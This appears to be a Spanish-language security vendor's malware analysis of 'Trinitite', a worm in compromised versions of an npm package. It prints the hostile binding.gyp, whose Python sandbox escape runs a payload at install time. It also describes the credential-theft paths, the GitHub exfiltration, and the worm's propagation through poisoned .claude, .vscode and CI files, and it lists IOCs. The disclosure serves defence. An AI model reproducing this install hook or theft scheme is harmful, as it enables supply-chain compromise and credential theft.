Solo ha pasado un día desde que conocimos la noticia de la detención de miembros de TeamPCP en Australia, y ahora hemos detectado un nuevo malware similar a TeamPCP que afecta a 10 versiones de un popular paquete npm llamado @7nohe/openapi-react-query-codegen (+150.000 descargas semanales). Todas estas versiones se publicaron en npm en un intervalo de 20 minutos. El paquete en cuestión genera hooks de TanStack Query seguros para tipos directamente desde un esquema OpenAPI, lo que evita que los desarrolladores tengan que escribir código repetitivo a mano.
El malware se autodenomina "Trinitite: Sponsored by Preview 2 Effects". La trinitita es el material vítreo que queda en el suelo del desierto tras una detonación nuclear. Las versiones anteriores de la carga útil hacían referencia a un script llamado literalmente is_it_this_simple.js, lo que resume bastante bien su actitud.
Todavía no está claro si se trata de un imitador, de un exmiembro que logró el Escape tras las detenciones o de un actor de amenazas completamente distinto. Quien esté detrás de este ataque comparte claramente su gusto por la teatralidad con TeamPCP.
Tanto el paquete npm como su repositorio de GitHub correspondiente parecen haber sido comprometidos. El atacante obtuvo acceso al explotar una vulnerabilidad en uno de los flujos de trabajo de GitHub Actions del proyecto. Por lo tanto, todas las versiones incluyen declaraciones de procedencia válidas. Se trata de certificados criptográficos que demuestran que el paquete fue compilado por el flujo de trabajo oficial de GitHub Actions. Sin embargo, cuando el propio flujo de trabajo está comprometido, ese certificado deja de ser una señal de confianza fiable.
El Escape del sandbox de binding.gyp
El hook de ejecución inicial es binding.gyp, un archivo que normalmente se utiliza para configurar la compilación de complementos nativos de Node.js. Me sorprendió un poco ver este truco en particular aquí, dado que informé sobre esta clase de vulnerabilidad a principios de este año. La técnica parece estar poniéndose de moda.
¿Cuándo? npm install procesa un paquete que contiene un binding.gyp, invoca node-gyp para compilar el módulo nativo. node-gyp evalúa el condiciones campo del archivo utilizando Python, lo que significa que se pueden incluir expresiones de Python arbitrarias y se ejecutarán durante la instalación, incluso sin ningún preinstall script declarado en package.json.
El binding.gyp en este paquete tiene el siguiente aspecto:
{
"variables": {
"var": "Frot",
},
"conditions":[
["[c for c in ().__class__.__base__.__subclasses__() if c.__name__ == u'\\U00000063\\U00000061\\U00000074\\U00000063\\U00000068\\U0000005f\\U00000077\\U00000061\\U00000072\\U0000006e\\U00000069\\U0000006e\\U00000067\\U00000073'][0]()._module.__builtins__[u'\\U0000005f\\U0000005f\\U00000069\\U0000006d\\U00000070\\U0000006f\\U00000072\\U00000074\\U0000005f\\U0000005f'](u'\\U0000006f\\U00000073').system(u'\\U0000006E\\U0000006F\\U00000064\\U00000065\\U00000020\\U00000033\\U00000046\\U00000057\\U00000043\\U00000076\\U0000007A\\U00000064\\U00000075\\U00000059\\U0000005A\\U00000067\\U0000002E\\U0000006A\\U00000073') == 0x00", {}],
],
"targets": [
{
"target_name": "<(var)",
"type":"\x6e\x6f\x6e\x65",
"sources": ["dog.c"],
}
]
}La expresión condicional es un Escape de la zona de pruebas (sandbox) de Python utilizando la catch_warnings clase, a la que se accede recorriendo la jerarquía de clases desde (). Una vez decodificados, los caracteres unicode y los escapes hexadecimales se convierten en esto:
[c for c in ().__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('node 3FWCvzduYZg.js')Encuentra la catch_warnings clase a través del árbol interno de subclases de Python, la utiliza para acceder a __builtins__, importa os, y llama a os.system() para ejecutar la carga útil principal con Node. El tipo campo está codificado en hexadecimal ninguno por lo que no se intenta ninguna compilación nativa real y el nombre del objetivo Frot no tiene sentido. Todo el archivo existe únicamente para ejecutar un comando de shell.
Vale la pena señalar que no todas las versiones comprometidas utilizan este truco. Las dos versiones preliminares utilizan un preinstall script directo en su lugar. 0.0.0-ec7876d6c917dad516ba69bbfafc948b834bf0ab ejecuta node nu.js directamente. 0.0.0-365d4eb738d3146583431948d3ba6e27a32556be descarga Bun mediante wget redirigido a bash y luego ejecuta is_it_this_simple.js.
Dicho esto, las versiones comprometidas posteriores redoblaron la apuesta y añadieron ambos vectores a la vez, combinando el binding.gyp truco con un "preinstall": "node 3FWCvzduYZg.js" script explícito por si acaso.
Ofuscación y evasión de sandboxes
3FWCvzduYZg.js es un archivo de una sola línea de 5,4 MB ubicado en la raíz del paquete. El archivo utiliza cuatro capas de cifrado. La capa más externa es una matriz de enteros de 1,6 millones de elementos, aplicando XOR con la clave 29. Esto se descifra en un script que descarga el runtime de Bun de forma silenciosa (en trinnyyyy-XXXXX en el directorio temporal del sistema) y lo utiliza para ejecutar la carga útil real, que está cifrada con AES-128-GCM en su interior. La carga útil interna consta de otros 800 KB de JavaScript ofuscado que utiliza un cifrador personalizado de tabla barajada además de las transformaciones estándar de obfuscator.io. Una vez descifrado y desofuscado por completo, contiene un recolector de credenciales, un gusano y un comando destructivo.
Antes de realizar cualquier acción, la carga útil comprueba varias condiciones y se cierra de forma silenciosa si se cumple alguna de ellas:
- La configuración regional del sistema es ruso (comprueba
Intl.DateTimeFormat,LC_ALL,LC_MESSAGES,LANGUAGE,LANG) - Se encuentran presentes directorios de CrowdStrike, SentinelOne o CarbonBlack
- El directorio de trabajo comienza con
/tmp/npm-safe/o/opt/hscan-supplychain-dynamic/ - Las variables de entorno contienen prefijos de credenciales falsas conocidos que utilizan los escáneres de seguridad (
AKIAFAKE,npm_F4k3NPMToken,sk-ant-api03-fake,ghp_decoyGitHubToken) - El
GITHUB_REPOSITORY_OWNERes una de varias cuentas de investigación de seguridad conocidas (actions-security-demo,h0x0er,varunsh-coder,rohan-stepsecurity) - La herramienta StepSecurity harden-runner está activa
Qué roba
La carga útil apunta a una amplia gama de credenciales en plataformas cloud, herramientas de desarrollo y archivos locales.
Tokens de GitHub
Busca PAT clásicos (gh[op]_...) y tokens de grano fino (github_pat_...) en las variables de entorno y archivos locales. En los runners de GitHub Actions también solicita un token OIDC a través de ACTIONS_ID_TOKEN_REQUEST_TOKEN y ACTIONS_ID_TOKEN_REQUEST_URL.
tokens de npm, PyPI y RubyGems
Lee ~/.npmrc y busca elementos adicionales .npmrc archivos. Extrae los tokens de portador (bearer tokens) y los valida frente a registry.npmjs[.]org/-/whoami. Apunta a los tokens de PyPI (pypi-AgEIcHlwaS5vcmcCJ...) y tokens de RubyGems (rubygems_...) mediante el mismo método.
Credenciales de AWS
AWS_ACCESS_KEY_ID,AWS_SECRET_ACCESS_KEY,AWS_SESSION_TOKEN, y diez variables de entorno relacionadas~/.aws/credentialsy~\.aws\config- el servicio de metadatos de instancias de EC2 en
169[.]254[.]169[.]254, probando primero con IMDSv2 - el punto de conexión de metadatos de contenedores de ECS en
169[.]254[.]170[.]2 - Realiza llamadas
sts:GetCallerIdentitypara verificar las credenciales antes de exfiltrarlas
credenciales de Azure
AZURE_CLIENT_ID,AZURE_CLIENT_SECRET,AZURE_TENANT_ID, y el archivo de token federado- endpoint de identidad administrada de Azure IMDS
- Accede a Azure Key Vault, Azure Resource Manager y Microsoft Graph API una vez autenticado
credenciales de GCP
GOOGLE_APPLICATION_CREDENTIALSarchivo JSON de cuenta de servicio- servidor de metadatos de GCP en
metadata[.]google[.]internal - Google Secret Manager una vez obtenido el token
HashiCorp Vault
VAULT_TOKEN_FILE,VAULT_TOKEN_PATH,VAULT_ADDR,VAULT_API_TOKEN- Enumera secretos mediante
/api/v1/system/me,/secrets,/api/v1/namespaces
Kubernetes
- Token de cuenta de servicio en
/var/run/secrets/kubernetes.io/serviceaccount/token KUBECONFIGy~/.kube/config/etc/rancher/k3s/k3s.yaml
Escaneo del sistema de archivos (más de 150 patrones glob)
- Todas las claves privadas SSH:
~/.ssh/id_rsa,~/.ssh/id_ed25519,~/.ssh/id_ecdsa,~/.ssh/id_dsa,~/.ssh/id* ~/.docker/config.json,/root/.docker/config.json.env,.env.local,.env.production~/.git-credentials,~/.gitconfig,~/.config/git/credentials~/.npmrc,~/.pypirc,~/.cargo/credentials.toml,~/.terraform.d/credentials.tfrc.json~/.bash_history,~/.zsh_history,~/.node_repl_history- Monederos de criptomonedas:
~/.ethereum/keystore/*,~/.monero/*, Ledger Live, Exodus - Datos de sesiones de mensajería: Signal, Telegram Desktop, Discord, Slack, Element
- Configuraciones de VPN: NordVPN, OpenVPN, ProtonVPN, CyberGhost, Windscribe, PIA
- Claude AI:
~/.claude.json,~/.claude/*,~/.claude/projects/*,~/.claude/mcp.json - Dominios y tokens de JFrog Artifactory
Exfiltración
Una vez recopiladas las credenciales, el payload necesita un repositorio de GitHub al que subirlas. Al igual que en ataques anteriores similares a Miasma, primero busca en el historial de commits públicos de GitHub aquellos cuyo mensaje coincida con "IfYouRevokeThisTokenYourABadUser:{encrypted_token}". Descifra el token incrustado y utiliza esa cuenta para crear el repositorio de exfiltración. Esto significa que los datos robados de una víctima terminan en un repositorio propiedad de un usuario diferente.
El nombre del repositorio se genera combinando dos nombres de personajes de Touhou Project elegidos al azar con un número aleatorio, por ejemplo cirno-marisa-74291 o reimu-kogasa-12048. La descripción del repositorio se establece como "Trinitite: Sponsored by Preview 2 Effects", que es la forma de identificar los repositorios de exfiltración en entornos reales:

Las credenciales robadas se guardan como archivos JSON cifrados llamados doubletrinnys-{counter}-{timestamp}.json dentro de un directorio resultados/ . Cada archivo contiene dos campos: envelope, el paquete de credenciales cifradas, y key, la propia clave de cifrado cifrada con la clave pública RSA del atacante. Solo el atacante, que posee la clave privada correspondiente, puede descifrar el contenido. Los datos están a la vista de todos en repositorios públicos de GitHub, pero son ilegibles para cualquier otra persona. Curiosamente, la mayoría de los mensajes de confirmación (commit messages) simplemente dicen "meow meow meow".
Propagación del gusano
Trinitite utiliza los tokens robados para propagarse a otros paquetes y repositorios.
npm, PyPI y RubyGems
Con un token de npm robado, el payload realiza una llamada a registry.npmjs[.]org/-/npm/v1/tokens para encontrar el token de publicación con el nivel de privilegios más alto y, a continuación, consulta /v1/search?text=maintainer:{user} para enumerar todos los paquetes que posee ese responsable de mantenimiento. Obtiene el tarball actual de cada paquete, inyecta un nuevo binding.gyp que contiene el mismo Escape del espacio aislado de Python, incluye una copia de 3FWCvzduYZg.jsy publica una nueva versión. El mismo patrón se aplica a PyPI (a través de upload.pypi[.]org/legacy/) y RubyGems (a través de rubygems[.]org/api/v1/gems). Todas las solicitudes de publicación utilizan {tls: {rejectUnauthorized: false}} para omitir la fijación de certificados (certificate pinning).
Envenenamiento de repositorios de GitHub
Con un token de GitHub robado, el payload enumera todos los repositorios y ramas accesibles, omitiendo las ramas que tienen el prefijo release/, dependabot/, renovate/, y copilot/. Para cada rama, confirma los siguientes archivos:
.vscode/tasks.jsoncon una configuración de ejecutor de tareas modificada con una puerta trasera (backdoor).claude/settings.jsoncon unSessionStartgancho (hook) que ejecutasetup.mjscada vez que un desarrollador abre el proyecto en Claude Code.claude/setup.mjsque contiene el payload secundario.vscode/setup.mjsque contiene el mismo.github/workflows/codeql.yml, un flujo de trabajo de seguridad de CodeQL falso que funciona a la vez como puerta trasera (backdoor).gemini/settings.json,.cursor/rules/debug.mdc,.codex/config.toml,.opencode/plugins/setup.js
Cada commit se redacta como github-actions con el mensaje "chore: update dependencies" y un skip-checks:true trailer para omitir las comprobaciones de estado requeridas.
Cómo Aikido detecta esto
Si es usuario de Aikido, revise su feed central y filtre por problemas de malware. Esto aparecerá como un problema crítico de 100/100. Aikido realiza reescaneos cada noche, pero recomendamos activar un reescaneo manual ahora.
Si aún no es usuario de Aikido, puede crear una cuenta y conectar sus repositorios. Nuestra cobertura de malware está incluida en el plan gratuito, sin necesidad de tarjeta de crédito.
Para una cobertura más amplia en todo su equipo, Device Protection de Aikido le proporciona visibilidad y control sobre los paquetes de software instalados en los dispositivos de su equipo. Cubre extensiones de navegador, bibliotecas de código, plugins IDE y dependencias de compilación, todo en un solo lugar. Detenga el malware antes de que se instale.
Para una protección futura, considere Aikido Safe Chain (código abierto). Safe Chain se integra en su flujo de trabajo existente, interceptando comandos npm, npx, yarn, pnpm y pnpx y verificando los paquetes con Aikido Intel antes de la instalación.
Indicadores de compromiso (IOCs)
Versiones de paquetes
@7nohe/openapi-react-query-codegen@0.5.4@7nohe/openapi-react-query-codegen@0.5.5@7nohe/openapi-react-query-codegen@1.6.3@7nohe/openapi-react-query-codegen@1.6.4@7nohe/openapi-react-query-codegen@2.2.1@7nohe/openapi-react-query-codegen@2.2.2@7nohe/openapi-react-query-codegen@3.0.3@7nohe/openapi-react-query-codegen@3.0.4@7nohe/openapi-react-query-codegen@0.0.0-365d4eb738d3146583431948d3ba6e27a32556be@7nohe/openapi-react-query-codegen@0.0.0-ec7876d6c917dad516ba69bbfafc948b834bf0ab
Archivos
3FWCvzduYZg.jspresentes en la raíz del paquete- SHA256:
8e5d1af68ca340ae0c6e8132cb00c686ec2d60502c1994d94ce353d1472ad5a3 - SHA256:
b49afb7dba04cd99b357ce7c652c823a3707f28e130bd5c6645851a7adc030d6 - SHA256:
59370c67b54a0ccaedd265e2356f04540b2fba1e1845300ef6de4d5437d99380 - SHA256:
778d6f0058045d6a2ab9a7e1d3e3be8e7e6b4d9cc217d13949bf1dfbab759a7c - SHA256:
b24d121667f21f492cb9db34fbfd515d5922a8dd30b9c45215c7220abbb10ca8 - SHA256:
e1f1162ece9a6e6ea21a20399cbf31c563a8149d433a68711f4223870c203d5a - SHA256:
b6012b2ff87f08f93ee53921c48db907ddbcf5461b03bb988083b01a36886237 - SHA256:
709af2fdeb50324229e94c44c679a0fab18bd8e17d3864405989c526cbb63ad8
- SHA256:
- Directorios temporales llamados
trinnyyyy-seguidos de 6 caracteres alfanuméricos aleatorios (p. ej.trinnyyyy-a3f9k2) en la carpeta temporal del sistema